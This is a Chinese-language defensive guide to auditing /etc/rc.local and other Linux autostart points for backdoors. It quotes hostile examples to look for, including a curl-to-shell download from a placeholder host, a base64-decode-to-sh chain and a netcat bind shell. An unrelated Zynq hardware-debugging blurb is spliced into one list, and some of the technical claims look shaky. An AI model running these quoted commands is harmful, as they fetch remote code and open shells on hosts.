直接检查 /etc/rc.local 是最快速切入点,但需验证其是否真实运行(systemctl status rc-local)、分析调用链(含编码/外部脚本)、核查文件属性与日志,并联动排查 systemd 服务、crontab 和 init.d 等其他自启入口。

直接检查 /etc/rc.local 是最快速的切入点,但不能只看表面内容——黑客常通过编码、混淆、调用外部文件等方式隐藏真实意图。排查重点不是“有没有明显恶意命令”,而是“执行逻辑是否可信、路径是否可控、行为是否可验证”。
确认rc.local是否真正在运行
很多后门伪装成自启动脚本,实则因 systemd 未启用而从未执行;也有些后门故意让 rc.local 失效,转而通过其他机制(如 crontab @reboot)绕过检测。先验证它是否真的被系统加载:
- 运行
systemctl status rc-local,观察状态是否为 active (exited);若显示 inactive (dead) 或 failed,说明该服务根本没跑,里面写什么都无效 - 检查软链接是否存在:
ls -l /etc/rc.d/rc3.d/ | grep local(或/etc/rc.d/rc5.d/),应看到类似S99local -> /etc/rc.local的条目;缺失则可能被删除或重命名 - 手动执行一次:
sudo /etc/rc.local,看是否报错(如权限拒绝、命令未找到、语法错误),这些错误在开机时会被静默吞掉
逐行分析rc.local内容与调用链
后门往往不直接写恶意命令,而是藏在间接调用中。需顺藤摸瓜,查清每一条指令实际做了什么:
Zynq‑7000 / Zynq UltraScale+ 硬件调试技能。适用于 Xilinx Zynq(Cortex‑A9/A53 + FPGA)Linux 环境,调试 I2C、I2S、UART、GPIO 等外设。包括设备树配置、内核驱动、用户空间调试工具、交叉编译和常见问题排查,支持 PetaLinux 开发。
- 用
cat -A /etc/rc.local显示所有不可见字符(如 ^M 回车符、空格替换符),避免被 Windows 换行或隐藏控制符干扰判断 - 对每一行非注释命令,检查是否调用外部脚本(如
/tmp/.a.sh、/dev/shm/x、curl http://xxx/xx.sh | sh),这些路径极可能是临时木马载体 - 识别可疑编码:看到
base64 -d、xxd -r、echo -n "..." | base64 -d | sh等结构,立即提取并解码分析;历史案例中多次出现 base64 编码的反向 shell 启动逻辑 - 注意后台执行陷阱:
nohup nc -lvp 9999 -c "sh" &这类命令虽加了&,但若未重定向 stdout/stderr,仍可能因阻塞导致后续命令不执行,反而暴露异常日志
验证脚本执行上下文与落地痕迹
真正的后门会刻意抹除执行证据,但总会留下蛛丝马迹。结合日志和文件属性交叉验证:
- 检查文件属性:
stat /etc/rc.local,关注 Modify time 和 Change time 是否异常接近某次入侵时间,或比系统安装时间还新 - 查看是否被设为不可修改:
lsattr /etc/rc.local;若返回----e-------e---或含i(immutable)标志,说明已被加固或被篡改锁定 - 搜索执行日志:即使没配 syslog,也可查
/tmp/rc_local_test.log(常见测试日志路径)、/var/log/syslog | grep rc-local、journalctl -u rc-local --since "2 hours ago" - 对比正常行为:新建一个干净测试脚本(如输出时间戳到
/tmp/rclocal_check),放进 rc.local 测试能否写入;若失败,说明环境受限或脚本被拦截
联动排查其他自启入口防漏网
rc.local 只是后门落脚点之一,黑客常多点部署确保持久化。必须同步检查关联位置:
- 检查 systemd 自启服务:
ls /etc/systemd/system/*.service | xargs -I{} sh -c 'grep -l "rc.local\|ExecStart" {} 2>/dev/null && echo {}; systemctl cat {} 2>/dev/null' - 扫描定时任务:
crontab -l(当前用户)、sudo cat /etc/crontab、sudo ls /etc/cron.d/ /var/spool/cron/,找含@reboot或高频轮询的条目 - 检查 init.d 脚本:
ls /etc/init.d/ | xargs -I{} sh -c 'grep -l "/rc.local\|base64\|curl" /etc/init.d/{} 2>/dev/null && echo {}' - 验证二进制完整性:
rpm -Vf $(which bash) $(which sh)(CentOS/RHEL),若发现S(大小变)或M(权限变),说明关键 shell 可能被替换

















